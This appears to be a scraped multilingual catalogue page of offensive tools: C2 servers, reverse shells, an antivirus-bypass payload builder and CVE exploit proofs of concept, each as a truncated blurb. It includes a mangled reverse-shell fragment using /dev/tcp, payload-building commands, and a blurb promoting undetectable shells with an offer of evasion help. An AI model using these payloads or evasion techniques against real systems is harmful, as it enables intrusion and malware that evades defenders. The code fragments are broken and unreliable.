RedbloodC2

Redblood C2 公開版 root@kitploit: This is a simple command and control server to handle sessions and your victims インストール root@kitploit: $ git clone https://github.com/kira2040k/RedbloodC2.git $ cd RedbloodC2 $ npm install $ node server.js 使用方法 root@kitploit: After install node.js and and all modules...

CVE-2019-0193-exp

CVE-2019-0193-exp 1 root@kitploit: &/dev/tcp/127.0.0.1/9999 0&1"; var result = ; whiletrue var oneline = bufReader.readLine; result.push oneline ; if!oneline break; row.put"title",result.join"\n\r"; return row; 2.jdbc: root@kitploit: &/dev/tcp/127.0.0.1/9999 0&1"; entity name="a"...

PwnLnX

PwnLnX Linuxシステムをハッキングするための高度なマルチスレッド 、マルチクライアント Pythonリバースシェルです。まだやるべきことはたくさんあるので、気軽に開発に協力してください。 免責事項 : このリバースシェルは、許可されたシステムの合法的なリモート管理のみに使用されるべきです。許可なくコンピュータネットワークにアクセスすることは違法です。 📫 連絡はこちら！ はじめに 以下の手順に従って、PwnLnXをローカルマシンで問題なく実行できるようにしてください。 前提条件 Python3: vidstream pyfiglet tqdm mss termcolor...

AVBypass

アンチウイルス回避保護 必要条件 golang がインストールされていること 使用方法 root@kitploit: 1 - create your payload go run create.go e.g: go run create.go 1.1.1.1 443 SecRetkira https://www.youtube.com/watch?v=Rv4VzpGCEEM 2 - in output folder you will find shell.go compile it go build shell.go 3 - now you have exe file to execut...

XeytanWin32-RAT

警告 これはバグの多いRATで、完成しておらず、安定していません。まだ「開発中」のアプリケーションです。 はじめに 暇つぶしのために作られたプロジェクトで、積極的にはメンテナンスされていません。 改善・修正すべき点が数多くあり、このプロジェクトを安定させるには時間がかかるでしょう。 機能 リバースシェル プロセス一覧 デスクトップストリーミング ファイルシステム ファイルのダウンロード プロジェクトの理解 IThreadChannels は、2つのスレッドが同期方式で通信するための手段です。 このアプリでは、通信のために2つのスレッドが共有するアトミックなオブジェクトとして使用しています...

reverse-shell-generator

reverse-shell-generator ホスト型リバースシェルジェネレーター - 豊富な機能を搭載（CTFに最適） ホストインスタンス https://revshells.com 特徴 一般的なリスナーとリバースシェルの生成 保存ボタンでペイロードをブラウザからダウンロード 生モードでcURLを使ってシェルをマシンに取り込み リッスンポート番号を1増やすボタン URIエンコードとBase64エンコード 設定を保持するLocalStorage ダークモード、ライトモード、ミームモード HoaxShellとの統合とカスタムリスナー（詳細は以下のリンク）| クレジット:...

One-Lin3r

One-Lin3r One-Lin3r 是一个简单、模块化且轻量级的框架，为您提供渗透测试（Windows、Linux、macOS 甚至 BSD 系统）或一般黑客攻击时所需的全部单行命令，并具有许多新功能，使这一切完全自动化（例如：您甚至无需复制单行命令）。 版本 2 的截图 它包含各种不同类型的单行命令，具有不同的功能，其中一些包括： 单行命令功能| 该功能的作用 ---|--- 反向 Shell| 提供反向 shell 的各种方法和命令。 权限提升| 许多用于枚举和权限提升的命令。 绑定 Shell| 提供绑定 shell 的各种方法和命令。 下载执行|...

RSPET

RSPET RSPET（反向 Shell 和后渗透工具）是一个基于 Python 的反向 Shell，具备协助后渗透场景的功能。 免责声明：本软件仅供教育和渗透测试目的，作为概念验证提供。开发者不认可、煽动或以任何其他方式支持未经授权的计算机访问和网络破坏。 注意：min 文件夹已移除。维护两个版本带来的额外开销导致 min 未收到错误修复和重要更新。如果有兴趣使用和维护一个更精简的版本，将创建一个新分支来托管它。 当前版本：v0.3.1 关注：@TheRSPET 获取更新。 文档：rspet.readthedocs.io 特性 远程命令执行 流量掩码（使用 XOR...

metabase-pre-auth-rce-poc

Metabase Pre-Auth RCE（CVE-2023-38646）POC これは、Metabase のソフトウェアセキュリティの欠陥である CVE-2023-38646 を悪用することを可能にする Python スクリプトです。このシステムは、オープンソースエディションでは 0.46.6.1 より前のバージョン、エンタープライズエディションでは 1.46.6.1 より前のバージョンで脆弱です。 使用方法 スクリプトには、ターゲット URL 、セットアップトークン 、および実行されるコマンド が必要です。セットアップトークンは、/api/session/properties...

SenselessViolence

SenselessViolence CVE-2022-31814 pfSense pfBlockerNG = 2.1.426 利用工具包。 这是什么？ 这是一个针对 pfSense pfBlockerNG = 2.1.426 插件远程命令注入漏洞（由 IHTeam 发现）的利用工具包。 我编写这个工具是为了模拟 NSA 防火墙利用工具包中的一些设计原则——因此，它设计为完全兼容 nopen 植入（只需一个小的、已文档化的修改），内置日志清除功能，并通过实现一些预检检查（被动和主动漏洞测试）来确保极高的可靠性。 提供了一个用 Python 编写的简单反向 TTY Shell 载荷作为本工具...

CVE-2022-22963-POC

CVE-2022-22963 エクスプロイト 説明 Spring Cloud Function バージョン 3.1.6、3.2.2 およびサポートされていない古いバージョンでは、ルーティング機能を使用する際に、ユーザーが特別に細工した SpEL を routing-expression として提供することが可能であり、リモートコード実行やローカルリソースへのアクセスを引き起こす可能性があります。詳細は CVE-2022-22963 詳細 を参照してください。 AayushmanThapaMagar が提供した PoC...

fudshell

fudshell Red Teaming用のFUD持続的リバースシェルを生成する効率的なスクリプト。生成されたスタブをVirusTotalにアップロードしないでください。 警告: root@kitploit: ペイロードをVirusTotalにアップロードしないでください。もし検出された場合は、 お知らせください...スタブを更新します。 Cobalt Strikeの回避策が必要な場合は、Telegram: @R0ot1337 までDMしてください。 使用方法: root@kitploit: 1. LHOST（あなたのIP）を入力 2. LPORT（あなたのポート）を入力 3...

siemframework

SIEMS フレームワーク MultiSIEM モジュラー Python3 攻撃フレームワーク ElevenPaths 提供 https://www.elevenpaths.com/ 使用方法: python3 ./siemsframework.py はじめに...

mediator

Mediator is an end-to-end encrypted reverse shell in which the operator and the shell connect to a "mediator" server that bridges the connections. This removes the need for the operator/handler to set up port forwarding in order to listen for the connection. Mediator also allows you to create...

mediator

Mediator 是一个端到端加密的反向 shell，操作员和 shell 连接到一个"中介"服务器，该服务器桥接连接。这消除了操作员/处理程序设置端口转发以监听连接的需要。Mediator 还允许您创建插件来扩展反向 shell 的功能。 您可以将 Mediator 的脚本作为独立可执行文件运行，也可以导入它们以集成到其他渗透测试和事件响应工具中。 架构： 受端到端加密聊天应用的启发，Mediator 对反向 shell 的客户端/服务器模型采用了独特的方法。Mediator 使用： 1. 客户端反向 shell 2. 客户端处理程序/操作员 3. 一个桥接这两个连接的服务器 反向...

CVE-2022-22947

王政コードに基づいて、2種類のリバースシェル、外部通信確認を追加しました。 実行時に不足しているモジュールがあれば、pipで該当モジュールをダウンロードしてください。 疑わしいURLアドレスを入力してください。ポートの後ろに「/」を付けないでください。 1. まず脆弱性が存在するか確認する デフォルトではwhoamiコマンドを実行します。多くのコマンドは結果を返さないため、whoamiが成功して結果が返ってくれば脆弱性が存在します。 返り値にrootが含まれていれば、脆弱性が確認できます。 2. リバースシェル 公開IPとポートを入力します。...

CVE-2017-12617

CVE-2017-12617 CVE-2017-12617 は、Apache Tomcat においてリモートコード実行 RCE を引き起こす重大な脆弱性です。 この脆弱性は、バージョン 9.0.0.M1 - 9.0.0、8.5.0-8.5.22、8.0.0.RC1 - 8.0.46、7.0.0 - 7.0.81 に影響します。 検証は 8.0.24 でのみ実施しました。この脆弱性は、アプリケーションまたは Tomcat インスタンス自体で誤設定された PUT オプションを利用します。 PUT を使用してリバースシェルのペイロードをサーバーに送信して実行し、その間 netcat...

Log4Shell-CVE-2021-44228-ENV

Log4Shell复现环境 示例说明 被攻击机ip：47.47.47.47 攻击机ip：48.48.48.48 被攻击机运行漏洞Docker 使用DockerFile build docker镜像运行： root@kitploit: docker build . -t vuln docker run -p 8080:8080 --name vuln vuln 攻击机运行攻击Docker 使用DockerFile build docker镜像运行 root@kitploit: docker build . -t attack docker run -itd -p 9999:9999 -p...

CVE-2024-7808

CVE-2024-7808 💀 $$\colorred THIS \space EXPLOIT \space MAY \space VIOLATE \space THE \space LAW.$$ $$\colorred\space YOU \space ARE \space RESPONSIBLE \space FOR \space YOUR \space ACTIONS.$$ $$\colorredDEMONSTRATION \space PURPOSE \space ONLY.$$ 説明 open-webui における CSRF を介した非管理者ユーザーによる RCE...

CVE-2020-5752-Druva-inSync-Windows-Client-6.6.3---Local-Privilege-Escalation-PowerShell-

CVE-2020-5752: Druva-inSync-Windows-Client-6.6.3---Local-Privilege-Escalation-PowerShell- Druva inSync Windows Client 6.6.3 - ローカル権限昇格 PowerShell システム権限でリバースシェルを取得するように変更されています。...